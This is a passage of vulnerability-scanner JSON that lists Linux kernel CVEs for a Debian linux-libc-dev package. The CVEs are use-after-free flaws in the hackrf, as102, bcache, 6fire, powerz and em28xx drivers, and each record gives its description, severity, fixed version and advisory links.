....\n\t\t\t\t\t\tfd = sys_open(\"/path/to/dev\"); // open hackrf fd\n\t\t\t\t\t\t....\n v4l2_device_unregister();\n ....\n kfree(); // free hackrf_dev\n ....\n\t\t\t\t\t\tsys_ioctl(fd, ...);\n\t\t\t\t\t\t v4l2_ioctl();\n\t\t\t\t\t\t video_is_registered() // UAF!!\n\t\t\t\t\t\t....\n\t\t\t\t\t\tsys_close(fd);\n\t\t\t\t\t\t v4l2_release() // UAF!!\n\t\t\t\t\t\t hackrf_video_release()\n\t\t\t\t\t\t kfree(); // DFB!!\n```\n\nWhen a V4L2 or video device is unregistered, the device node is removed so\nnew open() calls are blocked.\n\nHowever, file descriptors that are already open-and any in-flight I/O-do\nnot terminate immediately; they remain valid until the last reference is\ndropped and the driver's release() is invoked.\n\nTherefore, freeing device memory on the error path after hackrf_probe()\nhas registered dev it will lead to a race to use-after-free vuln, since\nthose already-open handles haven't been released yet.\n\nAnd since release() free memory too, race to use-after-free and\ndouble-free vuln occur.\n\nTo prevent this, if device is registered from probe(), it should be\nmodified to free memory only through release() rather than calling\nkfree() directly.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31576", "https://git.kernel.org/linus/3b7da2b4d0fe014eff181ed37e3bf832eb8ed258%20%287.1-rc1%29", "https://git.kernel.org/stable/c/07e9e674b6146b1f6fc41b1f54b8968bf2802824", "https://git.kernel.org/stable/c/131ec9046e1c8af101aebdaec4e8095e05f3312b", "https://git.kernel.org/stable/c/2145c71a8044362e82e9923f001ba2aeb771b848", "https://git.kernel.org/stable/c/3b7da2b4d0fe014eff181ed37e3bf832eb8ed258", "https://git.kernel.org/stable/c/45cbaf5c7cdc5386d86377f0daf94a17a007fed0", "https://git.kernel.org/stable/c/67fd62e3efdc9dce01f76d95a745212f4feb38e6", "https://git.kernel.org/stable/c/87b9685cca91ed715c39ba544715832d26a7f4b4", "https://git.kernel.org/stable/c/98a0a81ce78020c2522e0046f49d200de9778cb9", "https://git.kernel.org/stable/c/fcd1d70792a35c8a97414fe429f48311e41269c2", "https://lore.kernel.org/linux-cve-announce/2026042410-CVE-2026-31576-e770@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31576", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31576" ], "PublishedDate": "2026-04-24T15:16:32.23Z", "LastModifiedDate": "2026-06-17T10:34:00.573Z" }, { "VulnerabilityID": "CVE-2026-31578", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31578", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:687d0524d50e71cdd632d2bdb13aaed708cdcc87ebed9fed5ff55630b80d5e35", "Title": "kernel: media: as102: fix to not free memory after the device is registered in as102_usb_probe()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: as102: fix to not free memory after the device is registered in as102_usb_probe()\n\nIn as102_usb driver, the following race condition occurs:\n```\n\t\tCPU0\t\t\t\t\t\tCPU1\nas102_usb_probe()\n kzalloc(); // alloc as102_dev_t\n ....\n usb_register_dev();\n\t\t\t\t\t\tfd = sys_open(\"/path/to/dev\"); // open as102 fd\n\t\t\t\t\t\t....\n usb_deregister_dev();\n ....\n kfree(); // free as102_dev_t\n ....\n\t\t\t\t\t\tsys_close(fd);\n\t\t\t\t\t\t as102_release() // UAF!!\n\t\t\t\t\t\t as102_usb_release()\n\t\t\t\t\t\t kfree(); // DFB!!\n```\n\nWhen a USB character device registered with usb_register_dev() is later\nunregistered (via usb_deregister_dev() or disconnect), the device node is\nremoved so new open() calls fail. However, file descriptors that are\nalready open do not go away immediately: they remain valid until the last\nreference is dropped and the driver's .release() is invoked.\n\nIn as102, as102_usb_probe() calls usb_register_dev() and then, on an\nerror path, does usb_deregister_dev() and frees as102_dev_t right away.\nIf userspace raced a successful open() before the deregistration, that\nopen FD will later hit as102_release() --\u003e as102_usb_release() and access\nor free as102_dev_t again, occur a race to use-after-free and\ndouble-free vuln.\n\nThe fix is to never kfree(as102_dev_t) directly once usb_register_dev()\nhas succeeded. After deregistration, defer freeing memory to .release().\n\nIn other words, let release() perform the last kfree when the final open\nFD is closed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31578", "https://git.kernel.org/linus/8bd29dbe03fc5b0f039ab2395ff37b64236d2f0c%20%287.1-rc1%29", "https://git.kernel.org/stable/c/07ceb444c8f627cf863864d4274b5a77769725ed", "https://git.kernel.org/stable/c/09e9206008b887aa553733bd915d73131071a086", "https://git.kernel.org/stable/c/0d36653a3a821e5a974798adb347b3ea09332914", "https://git.kernel.org/stable/c/25d500cf391e384356a612b85cf60b353ad3cd0c", "https://git.kernel.org/stable/c/2eeae47a438694408189138048a786be99954032", "https://git.kernel.org/stable/c/582fbecb3756330006fe1950762412a68c2cacd2", "https://git.kernel.org/stable/c/7e5aedf6059cba2a669d86caeaf5a51f33ec85a1", "https://git.kernel.org/stable/c/8bd29dbe03fc5b0f039ab2395ff37b64236d2f0c", "https://git.kernel.org/stable/c/cb8092038e95dc1113a68e63762de40fff61ba71", "https://linux.oracle.com/cve/CVE-2026-31578.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042410-CVE-2026-31578-fd48@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31578", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31578" ], "PublishedDate": "2026-04-24T15:16:32.48Z", "LastModifiedDate": "2026-06-17T10:34:00.887Z" }, { "VulnerabilityID": "CVE-2026-31580", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31580", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b3b24e5355c34cd97064baa46f24dd4f70ef16933d3db4563c4a5d32d3611471", "Title": "kernel: bcache: fix cached_dev.sb_bio use-after-free and crash", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbcache: fix cached_dev.sb_bio use-after-free and crash\n\nIn our production environment, we have received multiple crash reports\nregarding libceph, which have caught our attention:\n\n```\n[6888366.280350] Call Trace:\n[6888366.280452] blk_update_request+0x14e/0x370\n[6888366.280561] blk_mq_end_request+0x1a/0x130\n[6888366.280671] rbd_img_handle_request+0x1a0/0x1b0 [rbd]\n[6888366.280792] rbd_obj_handle_request+0x32/0x40 [rbd]\n[6888366.280903] __complete_request+0x22/0x70 [libceph]\n[6888366.281032] osd_dispatch+0x15e/0xb40 [libceph]\n[6888366.281164] ? inet_recvmsg+0x5b/0xd0\n[6888366.281272] ? ceph_tcp_recvmsg+0x6f/0xa0 [libceph]\n[6888366.281405] ceph_con_process_message+0x79/0x140 [libceph]\n[6888366.281534] ceph_con_v1_try_read+0x5d7/0xf30 [libceph]\n[6888366.281661] ceph_con_workfn+0x329/0x680 [libceph]\n```\n\nAfter analyzing the coredump file, we found that the address of\ndc-\u003esb_bio has been freed. We know that cached_dev is only freed when it\nis stopped.\n\nSince sb_bio is a part of struct cached_dev, rather than an alloc every\ntime. If the device is stopped while writing to the superblock, the\nreleased address will be accessed at endio.\n\nThis patch hopes to wait for sb_write to complete in cached_dev_free.\n\nIt should be noted that we analyzed the cause of the problem, then tell\nall details to the QWEN and adopted the modifications it made.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31580", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/fec114a98b8735ee89c75216c45a78e28be0f128%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2d6965581e164fa2ba3f7652ddae5535f6336576", "https://git.kernel.org/stable/c/383f7fec0de8cee1cf7ae1f9d9f14044a61f10f9", "https://git.kernel.org/stable/c/47fa09fe7f3e09df28a51cb2cbd8f5d2f7f6edc1", "https://git.kernel.org/stable/c/4f71c8ba2dc009042493021d94a9718fbe2ebf27", "https://git.kernel.org/stable/c/81f44ed8c3f54abb7561ece774ea4cca5070b2f2", "https://git.kernel.org/stable/c/9467d360be70e6ee55b0c1cd2a1f1424f57b5b85", "https://git.kernel.org/stable/c/add4982510f3b7c318a2dd7438bdc9c63171e753", "https://git.kernel.org/stable/c/f50e7c325ab1207fe941555bcff659f6d7050572", "https://git.kernel.org/stable/c/fec114a98b8735ee89c75216c45a78e28be0f128", "https://linux.oracle.com/cve/CVE-2026-31580.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042411-CVE-2026-31580-7d94@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31580", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31580" ], "PublishedDate": "2026-04-24T15:16:32.683Z", "LastModifiedDate": "2026-11-05T22:18:41.593Z" }, { "VulnerabilityID": "CVE-2026-31581", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31581", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9e6b6dc78cdfb55554d33de09b7363f15c9f80954fa2977525cf814d884f2a29", "Title": "kernel: ALSA: 6fire: fix use-after-free on disconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: 6fire: fix use-after-free on disconnect\n\nIn usb6fire_chip_abort(), the chip struct is allocated as the card's\nprivate data (via snd_card_new with sizeof(struct sfire_chip)). When\nsnd_card_free_when_closed() is called and no file handles are open, the\ncard and embedded chip are freed synchronously. The subsequent\nchip-\u003ecard = NULL write then hits freed slab memory.\n\nCall trace:\n usb6fire_chip_abort sound/usb/6fire/chip.c:59 [inline]\n usb6fire_chip_disconnect+0x348/0x358 sound/usb/6fire/chip.c:182\n usb_unbind_interface+0x1a8/0x88c drivers/usb/core/driver.c:458\n ...\n hub_event+0x1a04/0x4518 drivers/usb/core/hub.c:5953\n\nFix by moving the card lifecycle out of usb6fire_chip_abort() and into\nusb6fire_chip_disconnect(). The card pointer is saved in a local\nbefore any teardown, snd_card_disconnect() is called first to prevent\nnew opens, URBs are aborted while chip is still valid, and\nsnd_card_free_when_closed() is called last so chip is never accessed\nafter the card may be freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/security/cve/CVE-2026-31581", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/b9c826916fdce6419b94eb0cd8810fdac18c2386%20%287.1-rc1%29", "https://git.kernel.org/stable/c/3dc20d1981d6a67d8184498a5da272942dde1e65", "https://git.kernel.org/stable/c/51f6532790b74ffdd6970bc848358a2838c1c185", "https://git.kernel.org/stable/c/af75b486f7e883e3422ece23c8d727e6815144a0", "https://git.kernel.org/stable/c/b9c826916fdce6419b94eb0cd8810fdac18c2386", "https://git.kernel.org/stable/c/ba88461f7653636c48321ca993006a74724c2f41", "https://git.kernel.org/stable/c/d21e8a2af4869b5890b34e081d5aeadc93e9cd5c", "https://git.kernel.org/stable/c/e247a0e01d15ed420f77ec5e2335721bf430a5b3", "https://git.kernel.org/stable/c/e719232f4552e29de8027a83918ea94434be87af", "https://git.kernel.org/stable/c/e88354b381e2006de63d6b052ed7005c9a47d00e", "https://linux.oracle.com/cve/CVE-2026-31581.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042411-CVE-2026-31581-9bc2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31581", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31581" ], "PublishedDate": "2026-04-24T15:16:32.797Z", "LastModifiedDate": "2026-06-17T10:34:01.257Z" }, { "VulnerabilityID": "CVE-2026-31582", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31582", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e62721afd5a3cbd2fb678df54981ee43310df3b0463f460e8e0527c92b98601d", "Title": "kernel: hwmon: (powerz) Fix use-after-free on USB disconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhwmon: (powerz) Fix use-after-free on USB disconnect\n\nAfter powerz_disconnect() frees the URB and releases the mutex, a\nsubsequent powerz_read() call can acquire the mutex and call\npowerz_read_data(), which dereferences the freed URB pointer.\n\nFix by:\n - Setting priv-\u003eurb to NULL in powerz_disconnect() so that\n powerz_read_data() can detect the disconnected state.\n - Adding a !priv-\u003eurb check at the start of powerz_read_data()\n to return -ENODEV on a disconnected device.\n - Moving usb_set_intfdata() before hwmon registration so the\n disconnect handler can always find the priv pointer.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31582", "https://git.kernel.org/linus/08e57f5e1a9067d5fbf33993aa7f51d60b3d13a4%20%287.1-rc1%29", "https://git.kernel.org/stable/c/08e57f5e1a9067d5fbf33993aa7f51d60b3d13a4", "https://git.kernel.org/stable/c/61f2aa23b0ce8d7aa5071ed25a7471e246a4fdd4", "https://git.kernel.org/stable/c/7003ae4810ca83f0ddca85b768500e313c4b998c", "https://git.kernel.org/stable/c/9e1b798257f96d2e2a2639830eb71add545ce749", "https://git.kernel.org/stable/c/c78e1d4e48f23792adaa7c94251e22b0d9700a39", "https://lore.kernel.org/linux-cve-announce/2026042412-CVE-2026-31582-cf91@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31582", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31582" ], "PublishedDate": "2026-04-24T15:16:32.903Z", "LastModifiedDate": "2026-06-17T10:34:01.403Z" }, { "VulnerabilityID": "CVE-2026-31583", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31583", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aa33909eccde49ae54e1295619412469647aac1d18fe2f7739bcbeea5079d76f", "Title": "kernel: media: em28xx: fix use-after-free in em28xx_v4l2_open()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: em28xx: fix use-after-free in em28xx_v4l2_open()\n\nem28xx_v4l2_open() reads dev-\u003ev4l2 without holding dev-\u003elock,\ncreating a race with em28xx_v4l2_init()'s error path and\nem28xx_v4l2_fini(), both of which free the em28xx_v4l2 struct\nand set dev-\u003ev4l2 to NULL under dev-\u003elock.\n\nThis race leads to two issues:\n - use-after-free in v4l2_fh_init() when accessing vdev-\u003ectrl_handler,\n since the video_device is embedded in the freed em28xx_v4l2 struct.\n - NULL pointer dereference in em28xx_resolution_set() when accessing\n v4l2-\u003enorm, since dev-\u003ev4l2 has been set to NULL.\n\nFix this by moving the mutex_lock() before the dev-\u003ev4l2 read and\nadding a NULL check for dev-\u003ev4l2 under the lock.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31583", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/a66485a934c7187ae8e36517d40615fa2e961cff%20%287.1-rc1%29", "https://git.kernel.org/stable/c/2cbf81f76842e46bdf25823c70e1db4044a65678", "https://git.kernel.org/stable/c/38a327221f7f765e7d853b7bafe47e342441ec85", "https://git.kernel.org/stable/c/3c0283a59e36e3707c4a81f4952e362d31f876b8", "https://git.kernel.org/stable/c/5fb2940327722b4684d2f964b54c1c90aa277324", "https://git.kernel.org/stable/c/6b9e66437cc6123ddedac141e1b8b6fcf57d2972", "https://git.kernel.org/stable/c/871b8ea8ef39a6c253594649f4339378fad3d0dd", "https://git.kernel.org/stable/c/a66485a934c7187ae8e36517d40615fa2e961cff", "https://git.kernel.org/stable/c/b5d141ea15f173f15b9f0a72965902f3428c0d92", "https://git.kernel.org/stable/c/dd2b888e08d3b3d6aacd65d76cd44fac11da750f", "https://linux.oracle.com/cve/CVE-2026-31583.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042412-CVE-2026-31583-edcc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31583", "https://ubuntu.com/security/notices/USN-8488-1", 